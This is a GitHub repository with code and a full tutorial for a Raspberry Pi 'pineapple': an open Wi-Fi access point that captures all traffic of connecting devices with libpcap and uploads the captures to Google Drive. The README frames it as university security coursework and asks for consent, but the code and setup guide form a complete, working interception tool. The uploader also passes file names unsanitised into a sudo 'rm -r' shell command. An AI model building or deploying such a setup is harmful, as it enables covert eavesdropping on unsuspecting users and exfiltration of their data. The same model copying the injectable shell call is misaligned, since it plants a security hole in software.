├── Makefile ├── upload_manager.py ├── LICENSE.md ├── drive_uploader.py ├── packet_sniffer.c └── README.md /Makefile: -------------------------------------------------------------------------------- 1 | packet_sniffer: packet_sniffer.c 2 | gcc -Wall -o packet_sniffer packet_sniffer.c -lpcap 3 | -------------------------------------------------------------------------------- /upload_manager.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen 2 | import sys 3 | 4 | filename = 'drive_uploader.py' 5 | while True: 6 | print("Starting " + filename) 7 | p = Popen("python " + filename, shell=True) 8 | p.wait() 9 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 FrankMerriman 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /drive_uploader.py: -------------------------------------------------------------------------------- 1 | from googleapiclient.http import MediaFileUpload 2 | import os.path 3 | import os 4 | from googleapiclient.discovery import build 5 | from google_auth_oauthlib.flow import InstalledAppFlow 6 | from google.auth.transport.requests import Request 7 | from google.oauth2.credentials import Credentials 8 | 9 | SECRET_FILE = 'token.json' 10 | API_NAME = 'drive' 11 | API_VERSION = 'v3' 12 | SCOPES = ['https://www.googleapis.com/auth/drive'] 13 | 14 | creds = None 15 | # The file token.json stores the user's access and refresh tokens, and is 16 | # created automatically when the authorization flow completes for the first 17 | # time. 18 | if os.path.exists('token.json'): 19 | creds = Credentials.from_authorized_user_file('token.json', SCOPES) 20 | # If there are no (valid) credentials available, let the user log in. 21 | if not creds or not creds.valid: 22 | if creds and creds.expired and creds.refresh_token: 23 | creds.refresh(Request()) 24 | else: 25 | flow = InstalledAppFlow.from_client_secrets_file( 26 | 'credentials.json', SCOPES) 27 | creds = flow.run_local_server(port=0) 28 | # Save the credentials for the next run 29 | with open('token.json', 'w') as token: 30 | token.write(creds.to_json()) 31 | 32 | service = build('drive', 'v3', credentials=creds) 33 | 34 | #Infinite loop to grab all files that currently exist in the complete_dumps dir 35 | path = os.getcwd() 36 | 37 | while True: 38 | #make this section grab files from dir in final 39 | file_names = os.listdir(path+'/complete_dumps') 40 | mime_type = 'application/vnd.tcpdump.pcap' 41 | 42 | for file_name in file_names: 43 | print('uploading file: {0}'.format(file_name)) 44 | file_metadata = { 45 | 'name': file_name 46 | } 47 | 48 | media = MediaFileUpload('./complete_dumps/{0}'.format(file_name), mimetype=mime_type) 49 | 50 | service.files().create( 51 | body=file_metadata, 52 | media_body=media, 53 | fields='id' 54 | ).execute() 55 | 56 | #Remove file after upload 57 | print('deleting file: {0}'.format(file_name)) 58 | #os.remove(path+'/complete_dumps/'+filename) 59 | #if someone was able to modify filename this would be a boo boo 60 | os.system('sudo rm -r complete_dumps/'+'"'+file_name+'"') 61 | -------------------------------------------------------------------------------- /packet_sniffer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | #define MAX_PATH_LENGTH 100 10 | 11 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { 12 | 13 | //Add packet to file 14 | pcap_dump(args, header, packet); 15 | 16 | //Print its length 17 | //printf("--- Jacked a packet with length of [%d]\n", header->len); 18 | } 19 | 20 | 21 | int main(void) { 22 | 23 | pcap_t *handle; /* Session handle */ 24 | char *dev; /* The device to sniff on */ 25 | char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */ 26 | //struct bpf_program fp; /* The compiled filter */ 27 | //char filter_exp[] = "port 23"; /* The filter expression */ 28 | bpf_u_int32 mask; /* Our netmask */ 29 | bpf_u_int32 net; /* Our IP */ 30 | //struct pcap_pkthdr header; /* The header that pcap gives us */ 31 | 32 | // set the device we wish to monitor 33 | // wlan1 is the interface of my usb dongle 34 | dev = "wlan1"; 35 | printf("Device: %s\n", dev); 36 | 37 | 38 | //Find the properties for the device 39 | if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { 40 | fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf); 41 | net = 0; 42 | mask = 0; 43 | } 44 | 45 | //Open the session in non-promiscuous mode 46 | handle = pcap_open_live(dev, BUFSIZ, 0, 1000, errbuf); 47 | if (handle == NULL) { 48 | fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf); 49 | return(2); 50 | } 51 | 52 | //Create path variable 53 | char path[MAX_PATH_LENGTH] = "packet_dumps/"; 54 | 55 | //Create the path directory we have made 56 | if (1 == mkdir(path, 0777)) { 57 | printf("Error in creation of directory: %s", path); 58 | return(2); 59 | } 60 | 61 | //Create path for moving completed dumps to 62 | char final_path[MAX_PATH_LENGTH] = "complete_dumps/"; 63 | //Create the path directory we have made 64 | if (1 == mkdir(final_path, 0777)) { 65 | printf("Error in creation of directory: %s", final_path); 66 | return(2); 67 | } 68 | 69 | while (1 == 1) { 70 | 71 | //Create a local path variable to point towards directory we dump to 72 | char local_path[MAX_PATH_LENGTH]; 73 | strcpy(local_path, path); 74 | 75 | //Create a local path variable that we will be moving file to at end 76 | char local_final_path[MAX_PATH_LENGTH]; 77 | strcpy(local_final_path, final_path); 78 | 79 | //Get system time 80 | time_t ltime; 81 | time(<ime); 82 | char *curr_time = ctime(<ime); 83 | 84 | //Concat time to local paths 85 | strcat(local_path, curr_time); 86 | strcat(local_final_path, curr_time); 87 | 88 | //Remove newline that is added by ctime 89 | local_path[strlen(local_path)-1] = '\0'; 90 | local_final_path[strlen(local_final_path)-1] = '\0'; 91 | 92 | printf("Dumping sniffed packets to : %s\n", local_path); 93 | 94 | //Open file for dumping 95 | pcap_dumper_t *dump_file = pcap_dump_open(handle, local_path); 96 | 97 | //Start capture loop and pass dump_file 98 | pcap_loop(handle, 2000, got_packet, (u_char *)dump_file); 99 | 100 | //Close dump_file and save stream 101 | pcap_dump_close(dump_file); 102 | 103 | //Take the completed file and move it to completed directory 104 | rename(local_path, local_final_path); 105 | 106 | } 107 | 108 | 109 | // Close session 110 | pcap_close(handle); 111 | 112 | 113 | //While loop that uploads files from directory and then deletes them 114 | 115 | 116 | return(0); 117 | } 118 | 119 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Yellow raspberry graphic with the text raspberry pineapple](https://user-images.githubusercontent.com/68456230/207218600-19e0d178-1f89-4f80-a0ec-30eebf91e230.png) 2 | ## About 3 | These programs work together to copy network traffic and back them up to a remote server. They are intended to be run on a Raspberry Pi posing as an open wireless access point. 4 | 5 | The code present in this repo was part of work done for a university security course. It is intended for learning and research purposes. Don't use these programs on other people without getting informed consent. It may be illegal to do so in your country. 6 | 7 | ## Part List 8 | *This tutorial has only been tested on this specific hardware + software. Presumably you can apply this tutorial to similarlly speced hardware with a bit of technical know-how.* 9 | - Raspberry Pi 4B 10 | - 4GB RAM 11 | - Raspberry Pi OS Bullseye 12 | - TP-Link Wireless USB Adapter 13 | - TL-WN821N 14 | - Computer with SD card reader 15 | 16 | # Preparation 17 | 18 | ## Part 1 - Creating a wifi access point 19 | *Many tutorials I encountered while working on this project took the easy route of using the in-built wifi card of the Rasberry Pi as the access point and providing an internet connection to the Pi through an ethernet cable. This project differs by using two wifi cards so that the Pi can connect to the internet wirelessly.* 20 | 21 | ### 1.1 Setting up the Pi 22 | If the Raspberry Pi being used has never been set up, visit https://www.raspberrypi.com/software/ to download Raspberry Pi OS (formerly referred to as Raspbian). This tutorial was last verified as working on Raspberry Pi OS Bullseye (11). 23 | 24 | Start the Pi and go through the normal set up prompts. If the update that occurs during the set up fails, make sure to run 25 | ``` 26 | sudo apt update 27 | ``` 28 | and 29 | ``` 30 | sudo apt upgrade 31 | ``` 32 | from the terminal to ensure all system packages are up to date. Depending on internet connection speeds, this step may take a long time to complete. 33 | 34 | ### 1.2 Sourcing wifi drivers 35 | The TP-Link Wireless Adapter doesn't work out of the box with the Raspberry Pi. As a result, it is neccessary to install the required drivers manually. If you are following this tutorial with a different adapter you will need to find any neccessary linux drivers on your own. Either way, make sure to insert the USB into the Raspberry Pi if you have not already done so. 36 | 37 | If you are using a TL-WN821N, you can visit the following repo and follow the installtion guide before moving on to step 1.3: https://github.com/Mange/rtl8192eu-linux-driver 38 | 39 | Regardless of what device you are using, you can check an adapter is detected and functioning by running 40 | ``` 41 | iwconfig 42 | ``` 43 | and checking the output. 44 | 45 | 46 | For example: 47 | 48 | ![Terminal window highlighting area of output to look at](https://user-images.githubusercontent.com/68456230/207233834-84a57483-1f05-447c-8952-c63b37525fed.png) 49 | 50 | *The USB is inserted, but without the driver it is not recognised by the Raspberry Pi* 51 | 52 | 53 | 54 | ![Terminal window highlighting area of output to look at](https://user-images.githubusercontent.com/68456230/207233911-d70e8108-a68b-499a-b690-566f74965308.png) 55 | 56 | *The USB is inserted, since the driver is installed it is recognised by the Raspberry Pi* 57 | 58 | ### 1.3 wlan0, wlan1 and AP mode 59 | If you read the source code for `packet_sniffer.c` you will notice that all the sniffing occurs on `wlan1`. `wlan1` is the wireless adapter I chose to configure as a wireless access point. It is the adapter to which other devices (like phones or laptops) will connect to once the Pi.neapple is complete. 60 | 61 | You can use either you in-built or external wireless adapter as the access point, provided your external adapter support AP mode (the in-built adapter on the Rasberry Pi 4B definitely supports AP mode). 62 | 63 | If you need to check AP mode support follow these steps: 64 | 65 | 1. Run `iwconfig` to figure out which `wlan` corresponds to your external adapter. 66 | 2. Run `iw dev` and figure out which `phy#X` corresponds to your external adapter by referencing their `wlan` value. 67 | 3. Run `iw phy phyX info` where `X` is substituted for the number found in step 2 (**Don't** include the `#` - e.g. `iw phy phy1 info`) 68 | 4. Check if `AP` is listed under `Supported interface modes` (located near the top of output). If it is, the adapter supports AP mode. 69 | 70 | ![Terminal window highlighting area of output to look at](https://user-images.githubusercontent.com/68456230/207235874-e6e919f6-4208-4528-909c-8b2dcb465b3e.png) 71 | 72 | 73 | 74 | It is worth noting that the titles `wlan0` and `wlan1` are not directly linked to the hardware of each adapter and is instead just the order in which the operating system detected each adapter. For example, if I start my Raspberry Pi **with** the USB adapter inserted, it is recognised as `wlan0` and the inbuilt adapter is recognised as `wlan1`. 75 | 76 | ![Terminal showing adapter as wlan0](https://user-images.githubusercontent.com/68456230/207236905-89aef52f-566e-4932-a5d4-61c355687c93.png) 77 | 78 | 79 | 80 | On the other hand, if I start my Raspberry Pi **without** the USB adapter inserted, the inbuilt adapter is recognised as `wlan0` and (once inserted) the USB is recognised as `wlan1`. 81 | 82 | ![Terminal showing adapter as wlan1](https://user-images.githubusercontent.com/68456230/207236952-280c317f-c946-4557-bafe-f6620b140fea.png) 83 | 84 | This tutorial (and the source code) assumes you use the adapter listed as `wlan1` as your access point, and the adapter listed as `wlan0` as a means of connecting to the internet. If your system requires the inverse assumption, make sure to substitute all instances of `wlan0` for `wlan1` (and vice-versa) for the remainder of this tutorial and be sure to change line 34 of `packet_sniffer.c` 85 | 86 | ### 1.4 Resolving auto-connect 87 | Currently, both `wlan0` and `wlan1` are connecting to the same access point. This will cause problems down the line as `wlan1` needs to be configured to accept incoming traffic. 88 | 89 | This can be addressed by creating seperate `wpa_supplicant.conf` files for each adapter. 90 | 91 | From the home directory, run: 92 | ``` 93 | cat /etc/wpa_supplicant/wpa_supplicant.conf 94 | ``` 95 | 96 | The output will look something like this: 97 | ``` 98 | ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev 99 | update_config=1 100 | 101 | country=SOME_COUNTRY_CODE 102 | 103 | network={ 104 | ssid="YOUR_WIFI_NAME" 105 | psk="YOUR_WIFI_PASSWORD" 106 | } 107 | ``` 108 | 109 | Copy this output and create the first file `wpa_supplicant-wlan0.conf` by running the following command: 110 | ``` 111 | sudo nano /etc/wpa_supplicant/wpa_supplicant-wlan0.conf 112 | ``` 113 | Paste the output you just copied into this file and save it. 114 | 115 | Now create the second file `wpa_supplicant-wlan1.conf` by running the following command: 116 | ``` 117 | sudo nano /etc/wpa_supplicant/wpa_supplicant-wlan1.conf 118 | ``` 119 | Paste the copied output once again, but before saving, make sure to delete the contents of the `network` field such that your file will look something like this: 120 | ``` 121 | ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev 122 | update_config=1 123 | 124 | country=SOME_COUNTRY_CODE 125 | 126 | network={ 127 | } 128 | ``` 129 | 130 | ### 1.5 Setting up DHCP 131 | 132 | Run `sudo nano /etc/dhcpcd.conf` and append the following lines to the opened file: 133 | ``` 134 | interface wlan1 135 | static ip_address=192.168.220.1/24 136 | static routers=192.168.220.0 137 | ``` 138 | 139 | Now restart DHCPCD by running: 140 | ``` 141 | sudo service dhcpcd restart 142 | ``` 143 | 144 | ### 1.5 Setting up hostapd 145 | `hostapd` allows your network interface card (NIC) to act as an access point for other devices. Install it by running: 146 | ``` 147 | sudo apt-get install hostapd 148 | ``` 149 | Once installed, run `sudo nano /etc/hostapd/hostapd.conf` and copy the following into the opened file: 150 | ``` 151 | interface=wlan1 152 | hw_mode=g 153 | ssid=pineapple 154 | channel=1 155 | ``` 156 | 157 | After saving and exiting, now run `sudo nano /etc/network/interfaces` and append the following to the opened file: 158 | ``` 159 | iface wlan1 inet static 160 | hostapd /etc/hostapd/hostapd.conf 161 | ``` 162 | 163 | The final part of this step is to enable hostapd. Run the following two commands: 164 | ``` 165 | sudo systemctl unmask hostapd.service 166 | sudo systemctl enable hostapd.service 167 | ``` 168 | 169 | ### 1.6 Setting up dnsmasq 170 | `dnsmasq` allows for dns forwarding. Install it by running: 171 | ``` 172 | sudo apt-get install dnsmasq 173 | ``` 174 | 175 | Backup and rename the default config file by running: 176 | ``` 177 | sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig 178 | ``` 179 | 180 | Open a new config file by running `sudo nano /etc/dnsmasq.conf`. Replace the contents of the file with the below: 181 | ``` 182 | interface=wlan1 183 | listen-address=192.168.220.1 184 | server=8.8.8.8 185 | domain-needed 186 | bogus-priv 187 | dhcp-range=192.168.220.80,192.168.220.90,12h 188 | ``` 189 | 190 | ### 1.7 Enabling packet forwarding 191 | It is also necessary to enable packet forwarding. To do so, run: 192 | ``` 193 | sudo nano /etc/sysctl.conf 194 | ``` 195 | and uncomment this line: `net.ipv4.ip_forward=1` 196 | 197 | ![image showing line in terminal](https://user-images.githubusercontent.com/68456230/207248082-a2fd9f71-74b9-43c7-94d7-74d29857fc2e.png) 198 | 199 | ### 1.8 Iptables config 200 | The final step is to configure a NAT between `wlan0` and `wlan1`. Do so by running the following commands: 201 | ``` 202 | sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE 203 | sudo iptables -A FORWARD -i wlan0 -o wlan1 -m state --state RELATED,ESTABLISHED -j ACCEPT 204 | sudo iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPT 205 | sudo sh -c "iptables-save > /etc/iptables.ipv4.nat" 206 | ``` 207 | 208 | To ensure the iptables are loaded on reboot, run `sudo nano /etc/rc.local` and add the line `iptables-restore < /etc/iptables.ipv4.nat`: 209 | 210 | ![Image showing the line pasted into rc.local](https://user-images.githubusercontent.com/68456230/207252737-ba83c351-225f-4997-8a03-7dffcd75f162.png) 211 | 212 | ### 1.9 Reboot and run 213 | Restart your Raspberry Pi by running: 214 | ``` 215 | systemctl reboot -i 216 | ``` 217 | 218 | Once rebooted, run these two commands (in this order) and you should now be able to see your pineapple wifi network and access the internet through it: 219 | ``` 220 | sudo service hostapd start 221 | sudo service dnsmasq start 222 | ``` 223 | 224 | **Remember to insert your USB adapter *after* rebooting if you want it to show up as `wlan1`** 225 | 226 | To turn the access point off, just run: 227 | ``` 228 | sudo service dnsmasq stop 229 | sudo service hostapd stop 230 | ``` 231 | 232 | ## Part 2 - Setting up remote storage 233 | *While my repository contains the python script necessary for uploading files to google drive, it requires a token unique to your own google account to work.* 234 | 235 | ### 2.1 Creating account 236 | If you don't have a google account, make one now at https://accounts.google.com/signup/v2/webcreateaccount?flowName=GlifWebSignIn&flowEntry=SignUp 237 | 238 | ### 2.2 Creating google cloud project 239 | Once you are logged into google navigate to https://console.cloud.google.com/projectcreate 240 | and create a new project named `Pineapple`. 241 | 242 | ![image showing project creation window](https://user-images.githubusercontent.com/68456230/207490915-91b2ee9a-95a8-482d-95d0-ecb9c2d2be30.png) 243 | 244 | Once the project is created (this may take a few minutes) navigate to its dashboard. You can do so via the top left menu bar: 245 | 246 | ![image showing project location in menu bar](https://user-images.githubusercontent.com/68456230/207491174-e6f9175c-320e-4cc3-9c49-a4a743239cc7.png) 247 | 248 | 249 | ### 2.3 Enabling google drive api 250 | Navigate to the `api and services` section of you project dashboard: 251 | 252 | ![image showing location of stated button](https://user-images.githubusercontent.com/68456230/207492690-f75a03fa-1a45-415b-935d-652e6ed2088c.png) 253 | 254 | and then select `enable apis and services`: 255 | 256 | ![image showing location of stated button](https://user-images.githubusercontent.com/68456230/207492802-d92ddaf8-f719-42cd-b63f-c2da3d7d20db.png) 257 | 258 | From here, search for and enable the google drive api: 259 | 260 | ![search bar stating google drive](https://user-images.githubusercontent.com/68456230/207493056-063ef02b-7623-4ecd-828d-b7a7295b9972.png) 261 | 262 | ![first result of search is highlighted](https://user-images.githubusercontent.com/68456230/207493170-dae6e7c2-01f3-4a88-b2bb-15fa8d39302c.png) 263 | 264 | ![enable button of api is highlighted](https://user-images.githubusercontent.com/68456230/207493268-3b222e44-4209-49d4-ad51-a6de59df7d86.png) 265 | 266 | 267 | ### 2.4 Creating oauth consent screen 268 | The cloud project requires an oauth consent screen. From the `apis and services` sidebar navigate to `oauth consent screen`: 269 | 270 | ![image showing sidebar](https://user-images.githubusercontent.com/68456230/207494508-095b4515-d171-425d-97d8-9a784e62465b.png) 271 | 272 | For user type, choose `external`: 273 | 274 | ![image showing external selected](https://user-images.githubusercontent.com/68456230/207494634-be14f8c2-3cb8-4633-948d-6c1c2ad62cd0.png) 275 | 276 | Set the app name and support email to whatever you like and move on to the scopes page. Under `add or remove scopes` search for `google drive` and select `/auth/drive`: 277 | 278 | ![image showing api scope added](https://user-images.githubusercontent.com/68456230/207495985-f27ee2cd-ac6d-4ffd-9f0a-3ee00c546a13.png) 279 | 280 | 281 | For test users, you just need to add your google account: 282 | 283 | ![image showing email added as test user](https://user-images.githubusercontent.com/68456230/207495569-a3816a50-6738-48d6-816b-bc5a726b40bc.png) 284 | 285 | 286 | ### 2.5 Creating oauth credentials 287 | Navigate to the `credentials` window of `api and services` and create a new `oauth client id`: 288 | 289 | ![image showing create credentials highlighted](https://user-images.githubusercontent.com/68456230/207496411-d3ce2b19-6974-466e-947a-adf9bdf128d6.png) 290 | 291 | ![image showing oauth client id highlighted](https://user-images.githubusercontent.com/68456230/207496450-4f25d125-a511-4dbe-8adc-ee28423432a7.png) 292 | 293 | Set the application type as `web application`: 294 | 295 | ![image showing application type set to web application](https://user-images.githubusercontent.com/68456230/207496674-87244f2e-a65f-47a0-aeb4-92d7549747b3.png) 296 | 297 | Make sure to add an authorised redirect URI for `http://localhost/`: 298 | 299 | ![image showing redirect uri](https://user-images.githubusercontent.com/68456230/207501537-2613a18c-86e6-4d5f-9d63-eb32f30b6964.png) 300 | 301 | 302 | Creat the credential and download the `json` file. 303 | ![image showing location of download button](https://user-images.githubusercontent.com/68456230/207497230-f8af0cb1-39cd-4dac-813d-14120204e419.png) 304 | 305 | Once downloaded move it into the project directory (so that `drive_uploader.py` can read from it) and **rename the file to `credentials.json`** 306 | 307 | 308 | ## Part 3 - Preparing files for running 309 | *With the Raspberry Pi and Google Cloud set up, the final piece of preparation involves getting the provided source code ready to be run.* 310 | 311 | ### 3.1 Installing libpcap 312 | `packet_sniffer.c` requires the `libpcap` library. Install it by running: 313 | ``` 314 | sudo apt-get install libpcap-dev 315 | ``` 316 | 317 | ### 3.2 Compiling packet_sniffer.c 318 | From within the project directory run `make`. This will compile packet_sniffer.c into an executable. 319 | 320 | ### 3.3 Installing python google api 321 | `drive_uploader.py` requires the google api package. Install it by running: 322 | ``` 323 | pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib 324 | ``` 325 | 326 | You will get warnings that the package is not installed in a directory on `PATH`. Address this by running the following command: 327 | ``` 328 | echo "export PATH=\$PATH:/home/$USER/.local/bin >> ~/.bashrc 329 | ``` 330 | 331 | Now any new terminal you open will add the location of the google api package to your path 332 | 333 | ### 3.4 First time authentication flow 334 | 335 | From the project directory, open a new terminal window and run `python3 drive_uploader.py`. Since this is the first time connecting to the api you need to complete the authentication flow you set up earlier. A window should automatically open. If not follow the URL that appears in the terminal. Once complete the program will crash since the expected directories are not yet present. This is expected behaviour. 336 | 337 | # Running 338 | With all the set up complete, activating the Pi.neapple is a simple as running a few commands from the project directory. 339 | 1. Enable hostapd and dnsmasq 340 | ``` 341 | sudo service hostapd start 342 | sudo service dnsmasq start 343 | ``` 344 | 2. Activate packet sniffing on wlan1: 345 | ``` 346 | sudo ./packet_sniffer 347 | ``` 348 | 3. Activate packet uploading to google drive 349 | ``` 350 | python3 upload_manager.py 351 | ``` 352 | 353 | As network traffic passes through the Raspberry Pi.neapple, the packets being captured by `packet_sniffer` will be uploaded by `drive_uploader.py` 354 | --------------------------------------------------------------------------------